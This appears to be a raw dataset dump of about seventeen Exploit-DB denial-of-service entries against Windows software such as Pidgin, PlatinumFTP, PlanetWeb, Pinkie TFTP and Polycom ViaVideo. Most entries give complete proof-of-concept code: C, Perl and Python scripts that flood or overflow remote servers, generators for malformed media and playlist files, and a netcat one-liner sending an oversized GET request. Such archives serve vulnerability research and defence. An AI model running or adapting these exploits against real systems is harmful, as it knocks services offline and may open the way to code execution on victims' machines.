deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39518
Description: PictureTrails Photo Editor GE.exe 2.0.0 - '.bmp' Crash (PoC)
Type: dos
Platform: windows
Date: 2016-03-02
Author: redknight99

Exploit:
# Exploit Title: PictureTrail Photo Editor GE.exe 2.00 - ./bmp Crash PoC
# Date: 01-03-2016
# Exploit Author: redknight99
# Vendor Homepage: http://www.picturetrail.com/
# Software Link: http://www.picturetrail.com/downloads/photoeditor200.exe
# Version: 2.0.0
# Tested on: Windows 7, 10
# CVE : Unknown

Picture Trail Photo editor fails to properly parse .bmp header height and width values. 
Negative height and width values cause a program crash (memory corruption) and SEH corruption. Remote code execution may be possible.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39518.zip
Exploit-DB #46930
Description: Pidgin 2.13.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-27
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Pidgin 2.13.0 - Denial of Service (PoC)
# Date: 24/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://pidgin.im/
# Software https://cfhcable.dl.sourceforge.net/project/pidgin/Pidgin/2.13.0/pidgin-2.13.0.exe
# Version: 2.13.0
# Tested on: Windows 7, Windows 10

# Proof of Concept:
# 1.- Run the python script 'pidgin.py', it will create a new file 'pidgin.txt'
# 2.- Open Pidgin
# 3.- Go to 'Accounts' > 'Manage Accounts'
# 4.- Click 'Add...', paste the content of pidgin.txt into the field 'Username', 
#     into the field 'Password' write anything, e.g. 1234 and click 'Add'
# 5.- On the taskbar, click show hidden icons, right click on Pingin and select 'Join Chat...'
# 6.- Now click 'Join' and crashed

buffer = "\x41" * 1000

f = open ("pidgin.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #468
Description: Pigeon Server 3.02.0143 - Denial of Service
Type: dos
Platform: windows
Date: 2004-09-19
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif

#define VER "0.1"
#define PORT 3103
#define BUFFSZ 8192 // we need at least 8180 'a's

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u_short port = PORT;
u_char *buff;

setbuf(stdout, NULL);

fputs("\n"
"Pigeon server <= 3.02.0143 freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("\n- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
buff[BUFFSZ - 5] = '|';
buff[BUFFSZ - 4] = '|';
buff[BUFFSZ - 3] = '1';
buff[BUFFSZ - 2] = '|';
buff[BUFFSZ - 1] = '|';

fputs("- send malformed data\n", stdout);
if(send(sd, buff, BUFFSZ, 0)
< 0) std_err();

close(sd);
fputs("- the server should be freezed, check it manually\n\n", stdout);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

// milw0rm.com [2004-09-19]
Exploit-DB #50535
Description: Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2021-11-22
Author: Yehia Elghaly

Exploit:
# Exploit Title: Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-19
# Vendor Homepage: http://www.ipuptime.net/
# Software Link : http://ipuptime.net/PinkieSetup.zip
# Tested Version: 2.15
# Vulnerability Type:  Buffer Overflow (DoS) Remote
# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Pinkie 2.15 TFTP Remote Buffer Overflow

# Steps to reproduce:
# 1. - Download and install Pinkie 2.15
# 2. - Start TFTP Server listening on port 69
# 3. - Run the Script from remote PC/IP
# 4. - Crashed


#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

read = (
    #Request - read
    b'\x00\x01'  #Static - opcode
    + b')' * 32768 +  #String - source_file (mutant, size=32768, orig val: b'File.bin')
    b'\x00'  #Delim - delim1
    b'netascii'  #String - transfer_mode
    b'\x00'  #Delim - delim2
)
sock.sendto(read, ('192.168.1.207', 69))
sock.recv(65535)

sock.close()
Exploit-DB #82
Description: Piolet Client 1.05 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-08-20
Author: Luca Ercoli

Exploit:
/************************************************************
*                      Piolet client v1.05 Remote Denial of Service                    *
*               Proof of Concept by Luca Ercoli  luca.ercoli[at]inwind.it             *
************************************************************/

#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

int ck,port=701,sd,cx=0,contatore=0,prec;

struct sockaddr_in pilot_client;

void ending(char *client){

int i;

pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(client);


for(i = 0; i < 100; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client)); 


if(ck != 0) { 

prec = 0;

if (prec == 0) contatore++;
if (prec == 1) contatore = 0;

if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}

}
 
if(ck == 0) prec = 1;

  close(sd);
}

}

void kill_pilot(char *stringa){

short i;

  pilot_client.sin_family = AF_INET;
  pilot_client.sin_port = htons((u_short)port);
  pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);
   
for(i = 0; i < 50; i++){

sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client)); 


if(ck != 0) exit(0);

close(sd);

}

}

int main(int argc, char **argv)
{

short i;

 prec = 0;

  if(argc < 2)
  { 
    printf("\nUsage: %s <client-ip>\n", argv[0]);
    exit(0);
  }
  
prec=0;

printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");

for (i=0; i<12; i++)  if(!fork()) kill_pilot(argv[1]);

printf ("+ Ending...\n");

ending(argv[1]);
  
}

// milw0rm.com [2003-08-20]
Exploit-DB #46127
Description: Pixel Studio 2.17 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Pixel Studio 2.17 - Denial of Service (PoC)
# Dork: N/A
# Date: 2019-01-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.pixarra.com/
# Software Link: http://www.pixarra.com/uploads/9/4/6/3/94635436/tbpixelstudio_install.exe
# Version: 2.17
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Pixel Studio Run / Enter Key...
# Any character.

#!/usr/bin/python
    
buffer = "A" * 10
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #25936
Description: PlanetDNS PlanetFileServer - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-06-28
Author: fRoGGz

Exploit:
source: https://www.securityfocus.com/bid/14138/info

PlanetFileServer is prone to a remote buffer overflow vulnerability.

A successful attack may allow an attacker to cause the server to crash or execute arbitrary code. This can lead to remote unauthorized access to the affected computer in the context of the server.

PlanetFileServer Standard (BETA) is vulnerable to this issue. 

#!/usr/bin/perl

# Vulnerability: Denial Of Service - Crash
# Discovered on: June 28, 2005
# Coded by: fRoGGz - SecuBox Labs
# Severity: Normal
# ----------- // Registers // -----------
# Dynamic Library Link of "NewAce Corporation" called "mshftp.dll" is the real problem.
# varmodAddVariable() returned error code %d
# EAX 0163D940
# ECX 41414141
# EDX 784751B6
# EBX 0163FFDC
# ESP 0163D8A8
# EBP 0163D8C8
# ESI 0163D968
# EDI 00000400
# EIP 41414141
# ------------------------------------

use IO::Socket;
use strict;

if(!$ARGV[1]) {
die "Utilisation: perl -w pfsdos.pl \n";
}

my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],PeerPort => $ARGV[1],Proto => "TCP"))
{
print "\n\nPlanetDNS Software - PlanetFileServer v2.0.1.3\r\n";
print "Denial Of Service - Crash Vulnerability\r\n";
print "---------------------------------------------\r\n";
print "Discovered & coded by fRoGGz - SecuBox Labs\r\n\n";
print "[+] Connexion sur $ARGV[0]:$ARGV[1] ...\r\n";
print "[+] Envoi du buffer malicieux.";
# On our config the value "134891" is the min for DoS, but more is better for a great successfull exploitation.
# Security Filter Option used 7 levels, so ....
# If you change levels to the max you must set the buffer size or use this PoC 2 times, it works well.
print $socket "\x41" x 135000 . "\r\n";
close($socket);
}
else
{
print "[-] Impossible de se connecter sur $ARGV[0]:$ARGV[1]\n";
}
Exploit-DB #21795
Description: PlanetWeb 1.14 - GET Buffer Overflow
Type: dos
Platform: windows
Date: 2002-09-16
Author: UkR-XblP

Exploit:
source: https://www.securityfocus.com/bid/5710/info

PlanetWeb is a commercially available web server distributed by PlanetDNS. It is available for the Microsoft Windows platform.

PlanetWeb is vulnerable to a buffer overflow condition when handling GET requests of excessive length. Upon receiving a GET request containing a 1024 byte or greater URL, an exploitable buffer overflow occurs. 

This may result in the remote execution of arbitrary code within the context of the web server process.

#!/usr/bin/perl
# PlanetWeb Software perl exploit
# by UkR-XblP / UkR security team
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 vulnurable_server
..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto     => "tcp",
                                  PeerAddr  => $host,
                                  PeerPort  => "http(80)",
                                  );
unless ($remote) { die "cannot connect to http daemon on
$host" }
$xblp = "A" x 1024;
$exploit = "GET /".$xblp." HTTP/1.0\n\n";
$remote->autoflush(1);
print $remote $exploit;
close $remote;
Exploit-DB #886
Description: PlatinumFTP 1.0.18 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2005-03-17
Author: ports

Exploit:
#!/usr/bin/perl
#
# pftpdos-ai1.pl - Remote DoS against PlatinumFTP 10.1.18
# Details:http://seclists.org/lists/bugtraq/2005/Mar/0222.html
#
# If you don't get the server down try to change/play a little bit with
# the Timeout
#
# ports at securityforest dot com | greetings to muts, barabas, s|33py,
# revised and all guys at www.whitehat.co.il
#
# Thanks to str0ke from milw0rm for forcing me to shrink 3 PoCs into 1 :)
#
# 2005/05/03 portsonline.net

use strict;
use Net::FTP;

my $host;
my $username;
my $dostype;

if ($#ARGV < 1) { &syntax(); }

$host = $ARGV[0];
$dostype = $ARGV[1];

if ($dostype == '1') { $username = '\\'; }
if ($dostype == '2') { $username = '%s%s%s%s'; }
if ($dostype == '3') { $username = '%.1024d'; }

my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21)
or die "can you see a ftp server? i can't.\n";

print "denial of service tpye $dostype in progress\n";

while (my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21))
{
    my $ftp = Net::FTP->new($host, Timeout => 0.1, Debug => 0, Port => 21);
    $ftp->login($username);
}

print "server is down. now run forest, RUN!\n";

sub syntax {
    print "Usage: pftpdos-ai1.pl IP DOSTYPE(1-3)\n\n";
    print "DOSTYPE: 1 Using '\\' Username \n";
    print "DOSTYPE: 2 Using '%s%s%s%s' Username \n";
    print "DOSTYPE: 3 Using '%.1024d' Username \n";
    exit (1);
}

# milw0rm.com [2005-03-17]
Exploit-DB #25218
Description: PlatinumFTPServer 1.0.18 - Multiple Malformed User Name Connection Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2005-03-05
Author: ports

Exploit:
source: https://www.securityfocus.com/bid/12790/info

PlatinumFTPServer is prone to a denial-of-service vulnerability. This issue is reported to occur when a remote user makes 50 or more connections that attempt to authenticate with a malformed user name. 

#!/usr/bin/perl
# plftpdos1.pl - Remote DoS against PlatinumFTP 10.1.18 using \
# 
# If you don't get the server down try to change/play a little bit with
# the Timeout

# 2005/05/03
#
# ports at securityforest dot com | greetings to muts, barabas, s|33py,
# revised and all guys at www.whitehat.co.il


use strict;
use Net::FTP;

my $host;
my $username = '\\';

if ($#ARGV < 0) { &syntax(); }
$host = @ARGV[0]; 

my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21) or die "can you see a ftp server? i can't.\n";

print "denial of service in progress\n";

while (my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21))
{
    my $ftp = Net::FTP->new($host, Timeout => 0.1, Debug => 0, Port => 21);
    $ftp->login($username);
}

print "server is down. now run forest, RUN!\n";

sub syntax {
    print "\nUsage: pftpdos1.pl IP\n";
    exit (1);
    }
Exploit-DB #18719
Description: Play [EX] 2.1 - '.M3U'/'.PLS'/'.LST' Playlist File Denial of Service
Type: dos
Platform: windows
Date: 2012-04-08
Author: Death-Shadow-Dark

Exploit:
#!/usr/bin/perl
#
# Play [EX] 2.1 Playlist File (M3U/PLS/LST) DoS Exploit
# Exploit discovered and coded by Death Shadow Dark
# Tested on Windows 7 Pro 64 bit and Windows XP SP3 Pro
# Sofware Link http://www.nautrup.com/pex/PlayEX_Player.html
# death.shadow.dark@gmail.com
# 07/04/2012
#

$poc = "H" x 500000;
open(m3u, ">poc_death.m3u");
print m3u "$poc";
print "\n + Exploit created !\n";
Exploit-DB #9124
Description: Playlistmaker 1.5 - '.m3u' / '.M3L' / '.TXT' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-11
Author: ThE g0bL!N

Exploit:
 #!/usr/bin/perl
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
# #   Playlistmaker v1.5   (.M3U/M3L/Txt File) Local Stack Overflow POC        ##
# #  Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html        ##
## Welcom Back Milw0rm                                                         ##
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
my $crash="\x41" x 5000 ;
open(myfile,'>>PoC.m3u');# M3U/M3L/Txt
print myfile $crash;
##################################################################################
#By ThE g0bL!N
#Usgae:open existing Plylis => Poc.m3u => Click On file => Boom!!!
# Ismail Fiha seh :) Mada Bik Anta 1st Thotha :)
##################################################################################

# milw0rm.com [2009-07-11]
Exploit-DB #14699
Description: PlayPad Music Player 1.12 - '.mp3' Denial of Service
Type: dos
Platform: windows
Date: 2010-08-20
Author: Praveen Darshanam

Exploit:
# Exploit Title: PlayPad Music Player v1.12 .mp3 File Processing BoF/Crash
# Date: 20th August, 2010
# Author: Praveen Darshanam
# Software Link:
http://software-files-l.cnet.com/s/software/11/36/36/00/playsetup.exe?e=[PII_REDACTED]&h=9edf959c2f8f5a[PII_REDACTED]9d667b8&lop=link&ptype=1901&ontid=2139&siteId=4&edId=3&spi=5dd11a728135fb7ad93544f5b51ee29a&pid=11363600&psid=75176763&fileName=playsetup.exe
# Version: 1.12
# Tested on: Windows XP Pro. SP2
print "\n\nPlayPad Music Player v1.12 .mp3 File Processing BoF/Crash"

buff = "D" * 8400

try:
    mp3file = open("ppmp_crash.mp3","w")
    mp3file.write(buff)
    mp3file.close()
    print "[+] Successfully created MP3 File\n"
    print "[+] Load this File to PlayPad Player, you can see a Crash\n"
    print "[+] Coded by Praveen Darshanam\n"
except:
    print "[+] Unable to Create File"
Exploit-DB #14037
Description: Plotwn 18 - '.wp2' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-24
Author: Madjix

Exploit:
#!/usr/bin/perl
###################################################################
#Exploit Title : Plotwn 18 (.wp2) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
#download: http://math.exeter.edu/rparris/peanut/wpfr32z.exe
#Special Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
#EAX 0012F2F8
#ECX 00B089CC
#EDX 00001CB5
#EBX 41414141
#ESP 0012F2AC
#EBP 0012F2B0
#ESI 00000025
#EDI 0000003B
#EIP 00506723 wplotfr.00506723
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 1 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDF000(FFF)
###################################################################
my $file = "MadjiX.wp2";

my $hd =
"\x49\x03\x00\x00\x25\x00\x00\x00\x2E\x00\x00\x00\x43\x00\x00\x00\x00\x02\x00\x00\x00\x02".
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x3D\x00\x00\x00\xD9\xFF\xFF\xFF\x2C\x01\x00\x00".
"\x64\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x00\x0F\x00".
"\x00\x00\x2B\xD0\x28\x01\x49\x1E\x29\x01\x00\x00\x00\x00\x0C\x00\x00\x00\x0A\x00\x00\x00";

my $junk = "\x41" x 10000 ;
open($FILE,">$file");
print $FILE $hd.$junk;
close($FILE);
Exploit-DB #23166
Description: Plug And Play Web Server 1.0 002c - FTP Service Command Handler Buffer Overflow
Type: dos
Platform: windows
Date: 2003-09-21
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8667/info

Plug and Play Web Server FTP service has been reported prone to multiple buffer overflow issues, the issues present themselves when the affected FTP service handles FTP command arguments of excessive size.

It has been demonstrated that a remote attacker may exploit this condition to trigger a denial of service in the affected FTP server. However, due to the nature of this vulnerability, although unconfirmed, it has been conjectured that a remote attacker may leverage this vulnerability to have arbitrary code executed in the context of the vulnerable service. 

#!/usr/bin/perl
# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = "A"x540;

if("$ARGV[0]" eq "") {
        print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
        print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n");
        print("====================================================\n");
        die("Usage : ./PPftpdos <host\/ip>\n");
} else {

        print("Connecting to $host...\n");
        my $ftp = Net::FTP->new($host) or die "Couldn't connect to
$host\n";
        print("Connected!\n");

        $username = "anonymous";
        $[CREDENTIAL_REDACTED]";

        $ftp->login($username, $password)
        or die "Could not log in.\n";

        $ftp->dir($buffer);

        $ftp->quit();

        print("Success!\n");
}
Exploit-DB #34395
Description: PMSoftware Simple Web Server 2.1 - 'From:' Header Processing Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-08-03
Author: Rodrigo Escobar

Exploit:
source: https://www.securityfocus.com/bid/42155/info

PMSoftware Simple Web Server is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to stop responding, denying service to legitimate users.

Simple Web Server 2.1 is vulnerable; other versions may also be affected.

#!/usr/bin/perl
use IO::Socket;


        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;


        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }


#!/usr/bin/perl
use Net::HTTP;

        if (@ARGV < 1) {
                usage();
        }


        $host = @ARGV[0];
        $port = @ARGV[1];
        $num  = 0;

        print "[+] Sending request...\n";


        while ($num <= 255) {
                my $s = Net::HTTP->new(Host => $host, HTTPVersion => "1.0") || die $@;
                $s->write_request(GET => "/", 'User-Agent' => "Mozilla/5.0",
                                              'From' => chr($num));

                $num++;
                close($s);
        }

        print "\n[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 80\n";
        exit;
}
Exploit-DB #21941
Description: Polycom 2.2/3.0 - ViaVideo Buffer Overflow
Type: dos
Platform: windows
Date: 2002-10-15
Author: prophecy.net.nz

Exploit:
source: https://www.securityfocus.com/bid/5964/info

A buffer overflow vulnerability has been reported for ViaVideo.

An attacker can exploit this vulnerability by issuing excessively long 'GET' requests to ViaVideo devices. This will cause an error in the 'vvws.dll' library and will cause the ViaVideo service to crash.

Although unconfirmed, it may be possible for a remote attacker to exploit this issue to execute arbitrary system commands with the privileges of the ViaVideo process. 

perl -e 'print "GET " . "A" x 4132 . " HTTP/1.0\r\n\r\n";' | netcat 10.1.0.1 3603